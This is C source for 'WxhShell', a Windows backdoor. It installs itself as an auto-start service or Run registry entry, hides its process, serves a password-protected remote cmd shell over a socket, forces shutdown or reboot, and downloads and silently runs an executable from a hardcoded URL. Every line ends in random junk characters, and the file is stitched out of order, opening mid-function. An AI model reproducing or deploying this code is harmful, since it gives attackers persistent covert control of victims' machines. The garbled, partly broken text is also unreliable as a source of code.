    if(Boot(SHUTDOWN)) U#^:f7-$.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6!Ap;O^*  
    else { -2m Ogv  
    closesocket(wsh); '3kL=(  
    ExitThread(0); EEnTq  
    } ^[,1+WS%  
    break; M}RFFg  
    } - G2M;]Cn  
  // 获取shell !t [%'!v  
  case 's': { JT+lWhy  
    CmdShell(wsh); ri_6 wbPp  
    closesocket(wsh); p9bxhnn|  
    ExitThread(0); N4JL.(m){I  
    break; mJ#B<I'  
  } _TeRsA  
  // 退出 "VOW V3Z  
  case 'x': { t7`Pw33#kY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 29E@e]Y,`  
    CloseIt(wsh); Z.#glmw^=R  
    break; }u$a PS<$!  
    } V$]a&wM<5  
  // 离开 J ##X5'a3*  
  case 'q': { C=f(NpyD6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wUPywV1UO  
    closesocket(wsh); WYd,tGz  
    WSACleanup(); Gb)iB  
    exit(1); Ud?d.  
    break; mI*>7?  
        } [==Z1Q;=  
  } ]3cf}Au  
  } 0a-:x4  
u~Cqdr5 \l  
  // 提示信息 I&@@v\$*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \:^n-D*fX  
} FbT&w4Um=  
  } ].+G-<.:  
F n Rxc  
  return; _ r)hr7  
} ,,-3p#P bw  
p{QKj3ov  
// shell模块句柄 @(5RAYRV  
int CmdShell(SOCKET sock) "k@/Z7=  
{ J A2}  
STARTUPINFO si; ^bw~$*"j#  
ZeroMemory(&si,sizeof(si)); vX)Y%I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ap_+C~%+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^x#RUv  
PROCESS_INFORMATION ProcessInfo; KTREOOu .t  
char cmdline[]="cmd"; S~9kp?kR$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w3hL.Z,kV  
  return 0; G+yz8@  
} B_G7F[/K  
s9dBXfm  
// 自身启动模式 !f2>6}hE  
int StartFromService(void) ]$*_2V3VA$  
{ D#AxgF_He  
typedef struct Sk%|-T(d$  
{ Ceb i9R[  
  DWORD ExitStatus; n8ya$bc  
  DWORD PebBaseAddress; Q&\ksM  
  DWORD AffinityMask; /JY i^rZ  
  DWORD BasePriority; x1ex}_\  
  ULONG UniqueProcessId; :Fk&2WsW:  
  ULONG InheritedFromUniqueProcessId; U} h |Zk  
}   PROCESS_BASIC_INFORMATION; q.tL'  
#>oO[uaY  
PROCNTQSIP NtQueryInformationProcess; Hs!CJ(0"y  
QVhBHAw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c>k6i?u:X7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L(rjjkH  
|n%N'-el  
  HANDLE             hProcess; )[Cm*Xxa$  
  PROCESS_BASIC_INFORMATION pbi; $e\R5L u  
0]W/88ut*u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OH~qJ <  
  if(NULL == hInst ) return 0; j;vaNg|vQ  
5~5ypQj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I[Y?f8gJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ? +!?$h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XV!EjD~q  
M_uij$1-  
  if (!NtQueryInformationProcess) return 0; c9k,Dc  
B75SLK:h=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  X;g|-<  
  if(!hProcess) return 0; Q&;qFv5-l  
tr+~@]I+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~+ur*3X  
/PS]AM  
  CloseHandle(hProcess); sP8B?Tn1W  
^9E(8DD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !(o2K!v0  
if(hProcess==NULL) return 0; D/>5\da+y  
JC3)G/m(03  
HMODULE hMod; (q7mzZY  
char procName[255]; 9)X<}*(qo  
unsigned long cbNeeded; 4\RuJx  
)QT+;P.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r}bKVne  
6U]7V  
  CloseHandle(hProcess); 6<6_W#  
iDN,}:<V  
if(strstr(procName,"services")) return 1; // 以服务启动 s*Ll\#  
],4LvIPD  
  return 0; // 注册表启动 [ V~bo/n  
} |-<L :%  
0^^i=iE-u  
// 主模块 YO61 pZY  
int StartWxhshell(LPSTR lpCmdLine) aT[7L9Cw  
{ Z2 4 m  
  SOCKET wsl; @x4Dt&:"  
BOOL val=TRUE; g#*N@83C  
  int port=0; aKO@_R,:  
  struct sockaddr_in door; f{oWd]eAhb  
9NAlgET  
  if(wscfg.ws_autoins) Install(); sq$|Pad[  
6R j X  
port=atoi(lpCmdLine); R PQ)0.O7  
r Y.:}D  
if(port<=0) port=wscfg.ws_port; ,j<"~"] =  
,)G,[ih  
  WSADATA data; }% *g\%L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i&KODhMpP  
a4YyELXe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^(3k uF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `Ea3z~<7M  
  door.sin_family = AF_INET; ?;Qk!t2U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yuB BO:\.  
  door.sin_port = htons(port); C~*m&,@TT^  
B*7o\~5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hFv}JQJw<  
closesocket(wsl); }rZp(FG@*  
return 1; g<Xwk2_=g  
} 2} -W@R  
d8I/7 ;F X  
  if(listen(wsl,2) == INVALID_SOCKET) { }z #8vE;  
closesocket(wsl); 5[k35 c{  
return 1; \;<Y/sg  
} DSp@  
  Wxhshell(wsl); u1l#k60  
  WSACleanup(); 3-5lO#&#  
oxZ(qfjS  
return 0; ~c"c9s+o  
y-mmc}B>N  
} ej `$-hBBV  
t~Ax#H  
// 以NT服务方式启动 fz*6 B NJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kCV OeXv  
{ DQd&:J@?  
DWORD   status = 0; 8*X8U:.0o  
  DWORD   specificError = 0xfffffff; K"61i:F  
q!4dK4`#5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =*I9qjla[?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E;N8{Ye_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F(9T;F  
  serviceStatus.dwWin32ExitCode     = 0; <Coh &g_  
  serviceStatus.dwServiceSpecificExitCode = 0; *0@e_h  
  serviceStatus.dwCheckPoint       = 0; /VQ<}S[k}-  
  serviceStatus.dwWaitHint       = 0; K""04Ew*pV  
[@czvPi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AyUVsIuPT=  
  if (hServiceStatusHandle==0) return; vjb{h'v  
d {4br  
status = GetLastError(); =z+zg^wsT  
  if (status!=NO_ERROR) o <y7Ut  
{ .?qS8:yA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SL*(ZEn"  
    serviceStatus.dwCheckPoint       = 0; G(>a LF  
    serviceStatus.dwWaitHint       = 0; %Vq@WF  
    serviceStatus.dwWin32ExitCode     = status; :BS`Q/<w  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7@\iBmr6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,aeFEsi  
    return; q!n|Ju<  
  } 4{V=X3,x  
PuWF:'w r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j,Y=GjfGM  
  serviceStatus.dwCheckPoint       = 0; chy7hPxC;  
  serviceStatus.dwWaitHint       = 0; )u$A!+fo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N.]8qzW  
} =B\ ?(  
&^Io\  
// 处理NT服务事件,比如:启动、停止 H5n" !!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ][Kj^7/  
{ kF ?\p`[a  
switch(fdwControl) UU_k"D~  
{ lPH]fWt<  
case SERVICE_CONTROL_STOP: +J2=\YO  
  serviceStatus.dwWin32ExitCode = 0; I?=Q *og  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @S{,g;8  
  serviceStatus.dwCheckPoint   = 0; }.#C9<"}  
  serviceStatus.dwWaitHint     = 0; rfk';ph  
  { w*?JW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F 1BPzRo`  
  } ^J327  
  return; ^U52 *6  
case SERVICE_CONTROL_PAUSE: S}>rsg!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g#e"BBm=A  
  break; IzG7!K  
case SERVICE_CONTROL_CONTINUE: i<l)To-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g$ h!:wW  
  break; J;qHw[6  
case SERVICE_CONTROL_INTERROGATE: _.j KcDf  
  break;  j%lW+ [%  
}; B=f{`rM)~W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yuND0,e  
} 3E#acnqn*  
rl4-nA  
// 标准应用程序主函数 _z_uz \#,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !cfn%+0  
{ n[<Vj1n  
{d) +a$qj  
// 获取操作系统版本 R +k\)_F  
OsIsNt=GetOsVer(); ^'}Td~(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MSA*XDnN  
M/BBNT  
  // 从命令行安装 O!a5  
  if(strpbrk(lpCmdLine,"iI")) Install(); bz@4obRqf  
%9IM|\ulp  
  // 下载执行文件 :U~[%]  
if(wscfg.ws_downexe) { {pVD`#Tl[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *w!H -*`  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9 eP @}C6  
} r8mE   
[hs{{II  
if(!OsIsNt) { rVkHo*Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 kWWb<WRW:  
HideProc(); UXd\Q''  
StartWxhshell(lpCmdLine); pJ{sBp_$  
} _r&#Snp  
else )%*uMuF  
  if(StartFromService()) djk   
  // 以服务方式启动 sYvO"|  
  StartServiceCtrlDispatcher(DispatchTable); J=() A+  
else uvT]MgT  
  // 普通方式启动 l?ofr*U&-x  
  StartWxhshell(lpCmdLine); *p VKMmU  
b.$Gc!g  
return 0; =!7yX ;|  
} {1FY HM^  
vHWw*gg(/E  
x ha!.&DO  
bY#>   
=========================================== |[gnWNdR$M  
|g@1qXO3  
MLUq"f~N  
1<lLE1fk  
{W@Y4Qqq  
klPc l[.w  
" gX);/;9mm+  
U|,VH-#  
#include <stdio.h> __)9JF  
#include <string.h> .t\5H<z  
#include <windows.h> 4%B${zP(.}  
#include <winsock2.h> #[IQmU23  
#include <winsvc.h> S53[K/dZo  
#include <urlmon.h> Rf7py)  
D>05F,a  
#pragma comment (lib, "Ws2_32.lib") *K!V$8k=99  
#pragma comment (lib, "urlmon.lib") Q&yfl  
ns@b0'IF]  
#define MAX_USER   100 // 最大客户端连接数 "",V\m  
#define BUF_SOCK   200 // sock buffer -8g ;t3z  
#define KEY_BUFF   255 // 输入 buffer q W) ,)i  
*2@Ne[dYEF  
#define REBOOT     0   // 重启 g!4"3Dtdg  
#define SHUTDOWN   1   // 关机 \ B<(9  
lepgmQ|oY  
#define DEF_PORT   5000 // 监听端口 R(3V ! ph  
U1B5gjN  
#define REG_LEN     16   // 注册表键长度 %T!UEl`v  
#define SVC_LEN     80   // NT服务名长度 jh9^5"vQ  
"{|9Yis=  
// 从dll定义API r%F{1.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C%l~qf1n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Rom|Bqo;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BB9Z?}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HnrT;!C~  
K" Y,K  
// wxhshell配置信息 /8lGP! z  
struct WSCFG { 8xlj:5;(w  
  int ws_port;         // 监听端口 X#IVjc:&L  
  char ws_passstr[REG_LEN]; // 口令 +\SbrB P  
  int ws_autoins;       // 安装标记, 1=yes 0=no DqbN=[!X~n  
  char ws_regname[REG_LEN]; // 注册表键名 [K,&s8N5  
  char ws_svcname[REG_LEN]; // 服务名 yjc:+Y{5'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !\^c9Pg|v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e%#9|/uP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Bm1yBKjO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3Cq17A 9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (',G Ako  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;DBO  
o1 QK@@}  
}; -_v[oqf$  
Ust>%~<  
// default Wxhshell configuration P6dIU/w  
struct WSCFG wscfg={DEF_PORT, [p|-G*=00  
    "xuhuanlingzhe", buq3t+0  
    1, '3aDvV0  
    "Wxhshell", vV,H@WK  
    "Wxhshell", sLPFeibof5  
            "WxhShell Service", XV]`?  
    "Wrsky Windows CmdShell Service", %.[t(F  
    "Please Input Your Password: ", |{<g-)  
  1, %mg |kb6n  
  "http://www.wrsky.com/wxhshell.exe", =D<46T=(RB  
  "Wxhshell.exe" 1vu=2|QN  
    }; UPA))Iv>  
hI]KT a  
// 消息定义模块 =k'3rm*ld  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aV,>y"S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c"v#d9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Kmk<  
char *msg_ws_ext="\n\rExit."; XQ.JzzY$  
char *msg_ws_end="\n\rQuit."; j 8YMod=  
char *msg_ws_boot="\n\rReboot..."; K>"M# T  
char *msg_ws_poff="\n\rShutdown...";  Hi|'  
char *msg_ws_down="\n\rSave to "; %BC*h}KGH  
GjfY   
char *msg_ws_err="\n\rErr!"; x/R|i%u-s  
char *msg_ws_ok="\n\rOK!"; l0 r Zril  
{eMu"<  
char ExeFile[MAX_PATH]; >n{(2bcFs  
int nUser = 0; r. =_=V/t  
HANDLE handles[MAX_USER]; lmgMR|v  
int OsIsNt; T[*=7jnJQ  
7JQ5OC3  
SERVICE_STATUS       serviceStatus; UXnd~DA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z{7&=$  
*4dA(N\k"  
// 函数声明 ~W_m<#K(  
int Install(void); 8(\Az5%  
int Uninstall(void); [89#8|+  
int DownloadFile(char *sURL, SOCKET wsh); (Rve<n6{A  
int Boot(int flag); ; P&K a  
void HideProc(void); pTX{j=n!  
int GetOsVer(void); /|bir6Y:  
int Wxhshell(SOCKET wsl); "n=`{~F  
void TalkWithClient(void *cs); xzbyar<  
int CmdShell(SOCKET sock);  ZOi8)Y~  
int StartFromService(void); |JtdCP{  
int StartWxhshell(LPSTR lpCmdLine); gQCkoQi:j  
O sbY}*S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]4@_KKP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1}}.e^Tsfr  
D N GNc  
// 数据结构和表定义 kzMCI)>"  
SERVICE_TABLE_ENTRY DispatchTable[] = |.0/~Xy-  
{ 2X&~!%-  
{wscfg.ws_svcname, NTServiceMain}, V#'sH  
{NULL, NULL} "W?k~.uw  
}; <}L`d(E@f  
k:nr!Y<  
// 自我安装 [>=D9I@~  
int Install(void) K, WNM S  
{ ]3BTL7r  
  char svExeFile[MAX_PATH]; m1heU3BUWU  
  HKEY key; !-m (1  
  strcpy(svExeFile,ExeFile);  S`)KC-  
p3M)gH=N  
// 如果是win9x系统,修改注册表设为自启动 QS4sSua  
if(!OsIsNt) { {+0]diD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ICN>8|O`&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?54=TA|5`F  
  RegCloseKey(key); ) ^'Q@W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! ;x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T2AyQ~5~  
  RegCloseKey(key); $pyM<:*L&<  
  return 0; <!v^Df  
    } y+)][Wa0  
  } 5hUYxF20h8  
} T2P0(rEz  
else { ?Lbw o<E  
bN`oQ.Z 4  
// 如果是NT以上系统,安装为系统服务 hWf Jh0I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rW0# 6  
if (schSCManager!=0) Q.*qU,4);  
{ MRwls@z=  
  SC_HANDLE schService = CreateService <x,u!}5J  
  ( nU-.a5  
  schSCManager, H [wJ; l  
  wscfg.ws_svcname, Qx1ZxJz #  
  wscfg.ws_svcdisp, :bkACuaEn  
  SERVICE_ALL_ACCESS, WZ"NG|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FVW<F(g`  
  SERVICE_AUTO_START, [=z1~dXKb  
  SERVICE_ERROR_NORMAL, 9OuK}Ssf  
  svExeFile, KJo [!|.  
  NULL, y\$B9KX  
  NULL, ~}q"M[{  
  NULL, N)K};yMf  
  NULL, E ~<SEA  
  NULL o3P`y:&  
  ); Qr Dzf e[  
  if (schService!=0) Kn SXygT  
  { QXY-?0RO#  
  CloseServiceHandle(schService); };o6|e:2E  
  CloseServiceHandle(schSCManager); *]nha1!S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OmQSNU.our  
  strcat(svExeFile,wscfg.ws_svcname); UO47XAO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TG8QT\0G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UTGR{>=>  
  RegCloseKey(key); OkGg4X|9  
  return 0; 7Vr .&`l  
    } G(~d1%(  
  } M=HW2xn  
  CloseServiceHandle(schSCManager); yv =LT~  
} DmEmv/N=  
} &W:Wv,3  
s-Q-1lKV,  
return 1; tSV}BM,  
} 7h?PVobe  
TviC1 {2  
// 自我卸载 @C62%fU{5  
int Uninstall(void) ywXerz7dUk  
{ !MS z%QcO  
  HKEY key; =unMgX]$  
M7-piRnd4  
if(!OsIsNt) { <"{Lv)4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O`~G'l&@T  
  RegDeleteValue(key,wscfg.ws_regname); )HNbWGu  
  RegCloseKey(key); BQ{Gp 2N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S}gUz9ks  
  RegDeleteValue(key,wscfg.ws_regname); jz QmYcd  
  RegCloseKey(key); m3 C&QdjRp  
  return 0; JryDbGc8  
  } ](a*R  
} <?kr"[cQeP  
} fQi7e5  
else { -sm{Hpf_b  
$9Ho d-Z1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .\= GfF'  
if (schSCManager!=0) 9:4PJ%R9  
{ ;W]NT 4p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JM!rop^  
  if (schService!=0) 3P3x^NI  
  { GzWmXm  
  if(DeleteService(schService)!=0) { (C*G)Aj7  
  CloseServiceHandle(schService); LH@)((bi4v  
  CloseServiceHandle(schSCManager); E#JDbV1AC  
  return 0; 1fM= >Z  
  } E@^`B9 ;Q7  
  CloseServiceHandle(schService); o\vIYQ   
  } U~-Z`_@^-  
  CloseServiceHandle(schSCManager); rQg7r>%Q  
} kU$P?RD  
} e.hHpjWi?Z  
z=<x.F  
return 1; `=Pn{JaD  
} "(5A 5>  
xfCq;?MupW  
// 从指定url下载文件 REDh`Wd  
int DownloadFile(char *sURL, SOCKET wsh) Ay;=1g)8+f  
{ fp|!LU  
  HRESULT hr; dFD0l?0N  
char seps[]= "/"; !^cQPX2<  
char *token; ]^$&Ejpe#  
char *file; =;!C7VS  
char myURL[MAX_PATH]; A]`63@-.  
char myFILE[MAX_PATH]; wr,X@y%(!  
i`Fg kABw  
strcpy(myURL,sURL); c) Zid1  
  token=strtok(myURL,seps); &?YbAo_K  
  while(token!=NULL) _?#}@?  
  { mwVH>3{j  
    file=token; | VPs5  
  token=strtok(NULL,seps); '<5Gf1 @|  
  } YdX#`  
x!fvSoHp  
GetCurrentDirectory(MAX_PATH,myFILE); Kyw Dp37^  
strcat(myFILE, "\\"); " NnUu 8x  
strcat(myFILE, file); Os' 7h  
  send(wsh,myFILE,strlen(myFILE),0); P9; =O$s  
send(wsh,"...",3,0); Lo _5r T"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K Art4+31  
  if(hr==S_OK) Ta`=c0  
return 0; ,2q LiE>  
else Bm2"} =  
return 1; = zW}vm }  
Zm,<2BP>  
} 0][PL%3Z  
8X!^ 2B}J  
// 系统电源模块 'hfQ4EN  
int Boot(int flag) ]f#ZU{A'mt  
{ -8;U1^#  
  HANDLE hToken; <iVn!P  
  TOKEN_PRIVILEGES tkp; fiqeXE?E  
S {gB~W  
  if(OsIsNt) { ax0RtqtR&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :pj#t$:!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \E1[ /  
    tkp.PrivilegeCount = 1; 7y.$'<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ce!0Ws+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wZ/Zc} .  
if(flag==REBOOT) { H(9%SP@[c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GhpVi<FL  
  return 0; T<Y^V  
} {\9vW; '  
else { f#}P>,TP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  +LeZjA[  
  return 0; @N,dA#  
} ]+\;pb}bq  
  } PB00\&6H  
  else { 'bVDmm).  
if(flag==REBOOT) { `K37&b;`[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f(!:_!m*  
  return 0; 5D 9I;L{  
} @T[}] e  
else { aal5d_Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aF1i!Z  
  return 0; !PJD+SrG  
} (4=NKtA^G  
} 9gR@Q%b)  
1eQa54n  
return 1; C1_':-4  
} 19O /Q,9  
MLg+ 9y  
// win9x进程隐藏模块 p+#$S4V  
void HideProc(void) :@# '&(#~  
{ c+$alw L~  
F33&A<(,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _tDSG]  
  if ( hKernel != NULL ) 0V6gNEAUg  
  { 3p`*'j2R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7qj<|US  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 21i?$ uU  
    FreeLibrary(hKernel); cnJ(Fv_F$  
  } &?C% -"|c  
s<,[xkMB  
return; H:byCFN-  
} tmEF7e`(o  
&U/7D!^X  
// 获取操作系统版本 W(U:D?e  
int GetOsVer(void) S_?{ <{  
{ ZP75zeH  
  OSVERSIONINFO winfo; 7`-fN|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KY 085Fvs  
  GetVersionEx(&winfo); AX=$r]_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {`~uBz+dJq  
  return 1; W&>ONo6ki  
  else r5y p jT^  
  return 0; "`<tq#&C1  
} OSACH0h  
j_L1KB*  
// 客户端句柄模块 C3 >X1nU  
int Wxhshell(SOCKET wsl) ^y:!=nX^  
{  1t7vP;  
  SOCKET wsh; l]tda(  
  struct sockaddr_in client; CqHCJ '  
  DWORD myID; 06pEA.ro  
b#\i]2b:  
  while(nUser<MAX_USER) *b#00)d  
{ ]M%kt+u!  
  int nSize=sizeof(client); a&oz<4oT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); klSzmi4M  
  if(wsh==INVALID_SOCKET) return 1; vzDoF0Ts*p  
@BCws )  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~1e?9D  
if(handles[nUser]==0) Z,~Bz@5`"  
  closesocket(wsh); W  &wqN  
else ^APPWQUl  
  nUser++; >a;0<Ui&Q  
  } ;Z:zL^rvn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M.B0)  
'?7?"v  
  return 0; rjsqXo:9  
} 'u"r^o?  
7i(U?\A;.  
// 关闭 socket EVs.'Xg<  
void CloseIt(SOCKET wsh) v&}+ps_W  
{ ,au-g)IFZ  
closesocket(wsh); 7nr+X Os  
nUser--; iIrH&}2  
ExitThread(0); 6,Aj5jG  
} :)7{$OR&  
up`.#GWm  
// 客户端请求句柄 DVNx\t  
void TalkWithClient(void *cs) jm~(OLg  
{ dC&{zNG  
)0F\[Jl}  
  SOCKET wsh=(SOCKET)cs; q]PeS~PjF\  
  char pwd[SVC_LEN]; gZkjh{rQ  
  char cmd[KEY_BUFF]; w.v yEU^  
char chr[1]; d3% 1 P)  
int i,j; E1'| ;}/  
k)l*L1Y4:  
  while (nUser < MAX_USER) { c j-_  
$:&?!>H  
if(wscfg.ws_passstr) { 2@!Ou$W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6k14xPj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {|cuu"j26  
  //ZeroMemory(pwd,KEY_BUFF); xOfZ9@VU  
      i=0; kFCjko  
  while(i<SVC_LEN) { 9hoTxWpmy  
?[Gj?D.Wc  
  // 设置超时 ruqx #]-  
  fd_set FdRead; Um4$. BKD  
  struct timeval TimeOut;  -w7g}  
  FD_ZERO(&FdRead); +[W_J z  
  FD_SET(wsh,&FdRead); f+A!w8E  
  TimeOut.tv_sec=8; c:;m BS>~  
  TimeOut.tv_usec=0; 8M9LY9C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x[%z \  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aX`@WXK  
24 )Sf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2VSs#z!  
  pwd=chr[0]; f9`F~6$  
  if(chr[0]==0xd || chr[0]==0xa) { LojEJ  
  pwd=0; \TchRSe  
  break; >|Xy'ZR  
  } 3RYg-$NK[  
  i++; o *\c V 6  
    } 'VH%cz*  
mn5mdrv3WZ  
  // 如果是非法用户,关闭 socket [):&R1U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I,rs&m?/m  
} V s/Z8t  
> J!J:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X{8/]'(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '3n?1x  
qRV5qN2{XY  
while(1) { BbCt_z'  
NhP&sQO  
  ZeroMemory(cmd,KEY_BUFF); fDq`.ZW)s  
c5KJ_Nfi  
      // 自动支持客户端 telnet标准   o>3g<- ul  
  j=0; #HgXTC  
  while(j<KEY_BUFF) { IiX`l6L~W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^ W/,Z`  
  cmd[j]=chr[0]; WziX1%0$n  
  if(chr[0]==0xa || chr[0]==0xd) { gOk<pRcTb=  
  cmd[j]=0; %Fb4   
  break; kaKV{;UM  
  } [ij8h,[~]  
  j++; .JkcCEe{G  
    } D7'P^*4_B  
*ud"?{)Z  
  // 下载文件 lQ t&K1m  
  if(strstr(cmd,"http://")) { jg,oGtRz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dV~yIxD}C*  
  if(DownloadFile(cmd,wsh)) , [ogh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y(:.f-Du  
  else O(P ,!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +x?_\?&Ks  
  } -~wGJM VA  
  else { WKHEU)'!  
 'Dh+v3O  
